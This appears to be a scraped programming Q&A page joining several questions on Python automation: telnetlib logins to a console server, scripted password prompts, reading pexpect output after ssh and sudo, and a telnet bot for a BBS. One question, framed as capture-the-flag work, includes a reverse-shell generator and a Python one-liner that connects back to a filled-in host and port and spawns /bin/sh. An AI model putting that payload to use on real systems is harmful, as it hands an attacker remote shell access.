Hi I am a tcl person trying to do a day to day activity in Python in order to get familiarity with a new language and to compare Python with tcl. No one wants tcl programs anymore :)
Ok , So I have come with a code to automate this typical activity I would do to clear a console line .
$ telnet 172.28.247.240
Trying 172.28.247.240...
Escape character is '^]'.
User Access Verification
Password:
labc-f18-ts>en
Password:
labc-f18-ts#clear line 66
[confirm]
[OK]
My Code looks like this:
import getpass
import sys
import telnetlib
a_tuple = [ ('172.28.247.240' , 66)]
HOST = j[0]
user = "admin"
password = "1234"
tn = telnetlib.Telnet(HOST)
tn.read_until("login: ")
tn.write(user + "\n")
if password:
tn.read_until("Password: ")
tn.write(password + "\n")
tn.read_until("labc-f18-ts>")
tn.write ("en" +"\n")
tn.read_until("labc-f18-ts#")
tn.write("clear line %d" %j[1])
tn.write("exit\n")
sess_op = tn.read_all()
print sess_op
But I dont seem to get any output and dont know if it actually cleared the lines - there is no output whatsoever. Please help.
Also is there anything like pexpect that I should be working with rather what I have above?
import telnetlib
# ...
a_tuple = [('172.28.247.240', 66)]
HOST = a_tuple[0] # do you mean to use 'a_tuple' instead of 'j'?
# ...
tn = telnetlib.Telnet(HOST[0], HOST[1]) # <-- pass the port, I don't think this accepts tuples of hostname/ip and port
# ...
Should part of your code looks like above instead?
Also, I would normally use carriage return (\r) instead of new line (\n) when sending commands. Some host are picky about this.
Related
Need to write a code to execute a tool in linux terminal and fill its questions out.
For example there is a tool called xyztool which has two flags "-H" for the remote IP address and "-U" for getting the username.
When this tool executes, it asks for the old password, new password and retype new password.
I want to write a code to execute the tool, then enter the inputs automatically one after the other.
$ xyztool -U admin
Old password: ****
New password: *****
Retype New password: *****
This is what I wrote already, but I really don't know how to use IO module, so I just tried it!
#!/usr/bin/env python3
import subprocess
import sys
import io
def main_cmds():
'''execute xyztool and fill its prompts out'''
cmds = subprocess.call(["xyztool", "-H", "172.16.10.10", "-U", "admin"])
print(main_cmds())
def go_run():
f1 = sys.stdin
f = io.StringIO('oldP#ssw0rd')
sys.stdin = f
main_cmds()
f.close()
sys.stdin = f1
print(go_run())
I am at the moment experiencing some issues with my code. I am creating a reverse shell generator that automates with pentests for Capture flag competitions.
The script will read a file containing payloads, further the script will choose a specific line to be fetched and then replace the back connect ip address and port and output the payload to the user.
However i am stuck on some issues. The issue is that i am trying to replace two different strings upon reading a file containing my text, one of the strings gets replaced, while the other do not:
Strings to be replaced
[ip]
[port]
I have as well reviewed previous article using regex, but did not get further luck. Recieving error on the regex part that is commented out in my code: "unexpected token"
My code:
import socket
import base64
import hashlib
import re
import os # Fetching ip from interface
import linecache # for reading specific lines
ip = str(input("Host ip\n"))
port = str(input("port\n"))
#shell = str(input("Please select an option?\n"))
def full():
print("Welcome, lets generate a choosen reverse shell\n")
global ip
global port
print("please select language and shell option:\n [1] - python(Alphanumeric reverse shell)\n, [2] PHP(Alphanumeric reverse shell)\n")
selection = input("Type in number:\t")
if int(selection) == 1:
with open("myshells.txt", "r") as shells:
#for myreplace in (("[ip]", ip), ("[port]", port)):
fetchshell = linecache.getline('myshells.txt', 1)
ipreplaced = fetchshell.replace("[ip]", ip)
ipreplaced = fetchshell.replace("[port]", port)
print(ipreplaced)
"""for line in fetchshell:
myport = line.write(re.sub(r"(port)", port))
myip = line.write((re.sub(r"(ip)", ip))
print(line)"""
File contents:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],[port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Sample output from above code:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],22));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
I have few list of commands (any number), which have to be executed over telnet on one particular IP/HOST. And the output to be stored in separate file. These commands are specific to log collection.
I need them in such a way that, Execute all those required commands at once (Start/enabling for log collection) - Multiple telnet sessions, one session per command. After sometime (Not a timed activity), require another script to stop all of them & logs stored in separate file respectively (based on the list of commands executed).
I could able to do it only for one particular command, that too only for short interval of time.
I hope I'm clear with the details. Please let me know if you are not clear with the concept. Please help me in this regard.
import sys
import telnetlib
import time
orig_stdout = sys.stdout
f = open('out.txt', 'w')
sys.stdout = f
try:
tn = telnetlib.Telnet(IP)
tn.read_until(b"login: ")
tn.write(username.encode('ascii') + b"\n")
tn.read_until(b"# ")
tn.write(command1.encode('ascii') + b"\n")
#time.sleep(30)
z = tn.read_until(b'abcd\b\n',4) >> Just a random pattern, so that it reads for long duration.
#z=tn.read_very_eager()
output = z.splitlines( )
except:
sys.exit("Telnet Failed to ",IP)
for i in output:
i=i.strip().decode("utf-8")
print(i)
sys.stdout = orig_stdout
f.close()
I have pexpect working, but I am having problems printing the output back from it. In my test script below, it creates the ssh connection, and then sends a sudo su -, then my password, and then sends a line that would require sudo access to do (I have also added p.interact() a few times to make sure it is at root). The problem I am having, is with returning the output of the commands I run. In the end I am wanting to run some top commands, and some du -h, and other(much more complex) space commands. But currently when it tries to print p.before, I get:
Traceback (most recent call last):
File "./ssh.py", line 37, in <module>
print p.before()
TypeError: 'str' object is not callable
Here is the script I am working from(edited to remove my pass and such)
#!/usr/bin/env python
import pexpect
import struct, fcntl, os, sys, signal
def sigwinch_passthrough (sig, data):
# Check for buggy platforms (see pexpect.setwinsize()).
if 'TIOCGWINSZ' in dir(termios):
TIOCGWINSZ = termios.TIOCGWINSZ
else:
TIOCGWINSZ = 1074295912 # assume
s = struct.pack ("HHHH", 0, 0, 0, 0)
a = struct.unpack ('HHHH', fcntl.ioctl(sys.stdout.fileno(), TIOCGWINSZ , s))
global global_pexpect_instance
global_pexpect_instance.setwinsize(a[0],a[1])
ssh_newkey = 'Are you sure you want to continue connecting'
p=pexpect.spawn('ssh user#localhost')
i=p.expect([ssh_newkey,'password:',pexpect.EOF,pexpect.TIMEOUT],1)
if i==0:
print "I say yes"
p.sendline('yes')
i=p.expect([ssh_newkey,'password:',pexpect.EOF])
if i==1:
print "I give password",
p.sendline("mypassword")
elif i==2:
print "I either got key or connection timeout"
pass
elif i==3: #timeout
pass
global global_pexpect_instance
global_pexpect_instance = p
p.sendline("sudo su -")
p.sendline("mypasswd")
p.sendline("mkdir /home/user/test")
print p.before
I am working off of this link: http://linux.byexamples.com/archives/346/python-how-to-access-ssh-with-pexpect/
Any help is much appreciated.
EDIT: As Armin Rigo pointed out below. I was calling to p.before as a function like p.before(). Stupid mistake on my part, as this explains why I was getting this error today, and not yesterday when I was trying this. After making that change to my script, and modifying the command being sent, print p.before, and no output is returned. Any other ways to return output from a sendline() command?
Use logfile, that logfile is store all output in terminal.use that example code:-
child = pexpect.spawn("ssh user#localhost")
child.logfile = open("/tmp/mylog", "w")
child.expect(".*assword:")
child.send("guest\r")
child.expect(".*\$ ")
child.sendline("python -V\r")
open the log file and see everything in terminals event
To fetch the complete output after sendline use child.read()
e.g.
cmd_resp = pexpect.spawnu(cmd) # for execution of the command
str_to_search = 'Please Enter The Password'
cmd_resp.sendline('yes') # for sending the input 'yes'
resp = cmd_resp.expect([str_to_search, 'password:', EOF], timeout=30) # fetch the output status
if resp == 1:
cmd_resp.sendline(password)
resp = cmd_resp.expect([str_to_search, 'outputString:', EOF], timeout=30)
print(cmd_resp.read()) # to fetch the complete output log
p.before is a string - not a function. To see the output you have to write
print p.before.
Hope this might help you
I tried to connect bbs with python's library "telnetlib", try to make a robot to answer
the message. While I answered the message,the robot return more than 1 message.These are my
code.
# -*- coding: cp950 -*-
import telnetlib,random
#f= open("ans.txt","r")
ans = [b"oao", b"xd"]
'''while True:
line = f.readline()
if line = "":
break
ans.append(line)
'''
tn = telnetlib.Telnet("ptt.cc")
tn.read_very_eager()
tn.write(b"*****\r\n") # this is where i enter my username
tn.read_very_eager()
tn.write(b"*****\r\n") # this is wher i enter my password
tn.read_very_eager()
tn.write(b"\r\n")
while True:
if tn.read_very_eager() != "" :
tn.write(b"")
tn.read_very_eager()
tn.write(b"su\r\n")
tn.read_very_eager()
tn.write(b"\r\n")
tn.read_very_eager()
tn.write(b"\r\n\r\n←")
tn.read_very_eager()
tn.read_very_eager()
for i in range(0,1000000):
x = 1
First, I have absolutely no experience with telnet.
Looking at the Python documentation on telnetlib I can see some differences between your code and the example at the bottom of the docs page. The major difference is they wait for a prompt to log-in or provide a password. Even if your read_very_eager should do the same thing, it's more clear to read_until. It could solve your problem, or give you a hint about it.
Try adapting the example to fit your needs.
import sys
import telnetlib
HOST = 'ptt.cc'
user = 'username'
password = 'pass123'
tn = telnetlib.Telnet(HOST)
tn.read_until("login: ")
tn.write(user + "\n")
if password:
tn.read_until("Password: ")
tn.write(password + "\n")
# Do anything you need to here.
# If your server will accept these, try them first to isolate the problem
tn.write("ls\n")
tn.write("exit\n")
print tn.read_all()
As mentioned by MatthieuW, you could sleep with the time library.
from time import sleep
print 'Start'
sleep(1)
print 'One second later'